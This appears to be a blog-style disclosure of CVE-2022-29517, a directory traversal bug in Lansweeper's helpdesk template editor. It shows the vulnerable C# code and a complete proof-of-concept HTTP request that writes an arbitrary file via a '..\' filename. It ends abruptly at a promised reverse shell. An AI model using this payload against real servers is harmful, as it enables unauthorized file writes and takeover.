Youtube Demo:
🎯 Quick Overview
CVE Number: CVE-2022-29517
Severity Score: 9.9 (Critical) 🚨
Affected Version: Lansweeper 10.1.1.0
🧐 What’s the Buzz About?
Lansweeper, the go-to tool for IT Asset Management, has a sneaky little bug hidden in its HelpdeskActions edit template functionality. Think of it as leaving the backdoor slightly open—just enough for a crafty attacker to sneak in.
📂 What’s Actually Happening?
In plain English, there’s a directory traversal vulnerability—essentially allowing an attacker to move around freely in your system’s directories. By cleverly manipulating the inlineattachmentname
parameter, an attacker uploads files wherever they please. No questions asked.
⚙️ Peeking Under the Hood
Here's a snippet of the vulnerable code from LS\WS\HelpdeskActions.cs
:
FileStream fileStream = new FileStream(path + text7, FileMode.CreateNew, FileAccess.Write, FileShare.None);
The problem here? inlineattachmentname
isn’t properly sanitized, letting attackers hop around directories like they're on a Sunday stroll.
The entire vuln sourcode:
Line 1 private static void EditTemplate()
Line 2 {
Line 3 HttpContext current = HttpContext.Current;
Line 4 Page page = (Page)HttpContext.Current.Handler;
Line 5 JsReturnObject jsReturnObject = new JsReturnObject();
Line 6 int num = int.Parse(current.Request["id"]);
Line 7 string text = current.Request["templatetext"];
Line 8 string text2 = current.Request["name"];
Line 9 int value = int.Parse(current.Request["templatecategory"]);
Line 10 bool flag = false;
Line 11 HttpFileCollection files = current.Request.Files;
Line 12
Line 13 for (int m = 1; m <= int.Parse(current.Request["inlineattachmentste"]); m++)
Line 14 {
Line 15 int num2 = (current.Request["inlineattachment" + m] ?? "").IndexOf("base64");
Line 16 if (current.Request["inlineattachment" + m] == null || num2 <= 0)
Line 17 {
Line 18 continue;
Line 19 }
Line 20 string path = LSFolder.HelpdeskTemplateFiles.GetPath();
Line 21
Line 22 byte[] array2 = Convert.FromBase64String(current.Request["inlineattachment" + m].Substring(num2 + 7));
Line 23 string text7 = num + "_" + current.Request["inlineattachmentname" + m];
Line 24 try
Line 25 {
Line 26 FileStream fileStream = new FileStream(path + text7, FileMode.CreateNew, FileAccess.Write, FileShare.None);
Line 27 try
Line 28 {
Line 29 fileStream.Write(array2, 0, array2.Length);
Line 30 flag = true;
Line 31 }
Line 32 finally
Line 33 {
Line 34 ((IDisposable)fileStream).Dispose();
Line 35 }
Line 36 }
Line 37 catch
Line 38 {
Line 39 }
Line 40 }
Creating a ticket template, a user is able to add to it inline files inlineattachment. Each inline file entry has its own name, inlineattachmentname. inlineattachmentname is not sanitized at all in a context of directory traversal, and it is further concatenated in a simple way with a path to helpdesk template files directory line 26. Lack of a proper inlineattachmentname sanitization allows an attacker to upload a file to an arbitrary destination within the file system.
🚧 Proof-of-Concept Exploit
Take a peek at this crafted HTTP request:
POST /helpdesk/HelpdeskActions.aspx?action=edittemplate&id=2 HTTP/1.1
...
Content-Disposition: form-data; name="inlineattachmentname1"
..\..\..\..\..\..\..\HACKED.jpg
This clever line uploads a file (HACKED.jpg
) exactly where the attacker desires—straight into your sensitive directories.
Exploit Proof of Concept
REQUEST
POST /helpdesk/HelpdeskActions.aspx?action=edittemplate&id=2 HTTP/1.1
Host: 192.168.0.102:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12029611817265063291319576436
Content-Length: 2156
Origin: http://192.168.0.102:81
Connection: close
Referer: http://192.168.0.102:81/helpdesk/ticket.aspx?nonew=-7&tid=24
Cookie: UserSettings=language=1; ASP.NET_SessionId=ke33dhy3jtng0hcwed2fe5av; custauth=username=hacker&userdomain=; __RequestVerificationToken_Lw__=zP2evPOU4gLNF/pF3R1XPsIP7ceImHsHKoqy7GfYwDnIwHnDJKt3r5+0bFTXNS/XpEAiyEFBVT2ekfSLIPgVMULtvi8Ae4qLSYcUO0UH90vcERUKMi72E3I2yEJexWSyNKlA8gcXlfMPYbc0a94Dji44b2cNn4aS0KGOSUQBn/0=
Upgrade-Insecure-Requests: 1
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="__VIEWSTATE"
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="name"
Approval
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="templatetext"
<span><img style="max-width: 950px;" src="/helpdesk/TicketTemplateActions.aspx?action=gettemplateattachment&fileuid=cat123.jpg&templateid=2" alt="cat123.jpg"></span>Thank you, we have received your request.<div><br></div><div>After we got an approval we will execute all required steps in order to provide what you need. We kindly ask for your patience until someone from the helpdesk will contact you.</div><div><br></div><div>In case we would need further information, this ticket will be assigned back to you in state "Awaiting Reply". Please provide necessary details as soon as possible in order to ensure swift processing.</div>
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="templatecategory"
1
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="inlineattachment1"
data:application/octet-stream;base64,WW91IGhhdmUgYmVlbiAwd24zZCE=
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="inlineattachmentname1"
..\..\..\..\..\..\..\HACKED.jpg
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="inlineattachment3"
data:text/plain;base64,dmVyc2lvbj0xOS4wLjAKY2xpZW50PWZpcmViYXNlLWFuYWx5dGljcwpmaXJlYmFzZS1hbmFseXRpY3NfY2xpZW50PTE5LjAuMAo=
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="inlineattachmentname3"
firebase-analytics.jpg
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="inlineattachmentste"
3
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="filestodelete"
-----------------------------12029611817265063291319576436--
RESPONSE
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
x-frame-options: SAMEORIGIN
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Tue, 07 Jun 2022 13:32:56 GMT
Connection: close
Content-Length: 173
{"ErrorType":"","Error":false,"Emsg":"","AddedRows":[["Approval","1","True"]],"Columns":[],"Columnwid":[],"Action":"","ReturnValues":{},"ReturnValue":"","ReturnObject":null}
🔑 The Fix?
Simple—sanitize input paths! A quick fix in input validation can lock the door firmly behind attackers.
If you want it fixed the contact our sponsor cyber firm at [email protected]
🔗 More Info & Resources:
Stay safe, stay patched, and don't let directory traversal bugs turn your assets into liabilities! 🛡️😎
🐚 Going for Gold: Reverse Shell
Once inside, attackers can easily establish a reverse shell, essentially turning your server into their own personal playground.
An exploitable directory traversal vulnerability is related with an action: Helpdesk -> choose any ticket -> Template [editor window] -> Edit any template -> add inline file and is located inside the LS\WS\HelpdeskActions.cs file.
The actual reverse shell used for testing: